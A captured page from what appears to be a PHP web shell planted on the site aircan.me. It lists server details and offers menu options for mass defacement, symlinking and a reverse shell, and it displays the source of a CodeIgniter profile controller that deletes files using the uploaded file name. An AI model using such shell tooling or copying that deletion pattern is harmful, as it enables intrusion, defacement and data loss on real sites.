Tul xxx Tul
User / IP
:
216.73.217.33
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
gimnasiofitnes
/
app
/
Controllers
/
Viewing: PerfilController.php
<?php namespace App\Controllers; use App\Controllers\BaseController; use App\Models\UserModel; class PerfilController extends BaseController { protected $usuarioModel, $reglas, $session; public function __construct() { $this->usuarioModel = new UserModel(); $this->session = session(); } public function index() { $data['usuario'] = $this->usuarioModel->find($this->session->user_id); return view('admin/users/perfil', $data); } public function updatePerfil() { $id = $this->session->user_id; $this->reglas = [ 'name' => [ 'rules' => "required" ], 'email' => [ 'rules' => "required|valid_email|is_unique[users.email,id,{$id}]" ], 'phone' => [ 'rules' => "required|is_unique[users.phone,id,{$id}]" ], 'address' => [ 'rules' => "required|is_unique[users.address,id,{$id}]" ], 'avatar' => [ 'rules' => 'permit_empty|is_image[avatar]|max_size[avatar,2048]|ext_in[avatar,png,jpg,jpeg]' ] ]; if ($this->request->getMethod() == 'PUT' && $this->validate($this->reglas)) { //COMPROBAR AVATAR $avatar = $this->request->getFile('avatar'); if ($avatar && $avatar->isValid() && !$avatar->hasMoved()) { if (file_exists(FCPATH . 'assets/admin/uploads/avatars/' . $avatar)) { unlink(FCPATH . 'assets/admin/uploads/avatars/' . $avatar); // Eliminar el archivo viejo } $destino = FCPATH . 'assets/admin/uploads/avatars/'; $nombreImage = date('YmdHis') . '.png'; $array['avatar'] = $nombreImage; $avatar->move($destino, $nombreImage); $this->session->set([ 'avatar' => $nombreImage ]); } else { $array['avatar'] = $this->session->avatar; } $array['email'] = $this->request->getPost('email'); $array['name'] = $this->request->getPost('name'); $array['phone'] = $this->request->getPost('phone'); $array['address'] = $this->request->getPost('address'); $data = $this->usuarioModel->update($id, $array); if ($data) { return redirect()->to('admin/perfil')->with('respuesta', [ 'type' => 'success', 'msg' => 'PERFIL MODIFICADO' ]); } return redirect()->to('admin/perfil')->with('respuesta', [ 'type' => 'danger', 'msg' => 'ERROR AL MODIFICAR' ]); } else { $data['validator'] = $this->validator; $data['usuario'] = $this->usuarioModel->find($id); return view('admin/users/perfil', $data); } } public function updatePassword(){ $this->reglas = [ 'actual' => [ 'rules' => 'required' ], 'nueva' => [ 'rules' => 'required|max_length[255]|min_length[6]' ], 'confirmar' => [ 'rules' => 'required|max_length[255]|matches[nueva]' ] ]; if ($this->request->getMethod() == 'PUT' && $this->validate($this->reglas)) { $actual = $this->request->getVar('actual'); $nueva = $this->request->getVar('nueva'); $consulta = $this->usuarioModel->find($this->session->user_id); if(password_verify($actual, $consulta['password'])){ $data = $this->usuarioModel->update($this->session->user_id, [ 'password' => password_hash($nueva, PASSWORD_DEFAULT) ]); if ($data) { return redirect()->to('admin/perfil')->with('respuesta', [ 'type' => 'success', 'msg' => 'CONTRASEÑA MODIFICADO' ]); } return redirect()->to('admin/perfil')->with('respuesta', [ 'type' => 'danger', 'msg' => 'ERROR AL MODIFICAR' ]); }else{ return redirect()->to('admin/perfil')->with('respuesta', [ 'type' => 'danger', 'msg' => 'CONTRASEÑA ACTUAL INCORRECTA' ]); } } else { $data['validator'] = $this->validator; $data['usuario'] = $this->usuarioModel->find($this->session->user_id); return view('admin/users/perfil', $data); } } }
Coded With 💗 by
0x6ick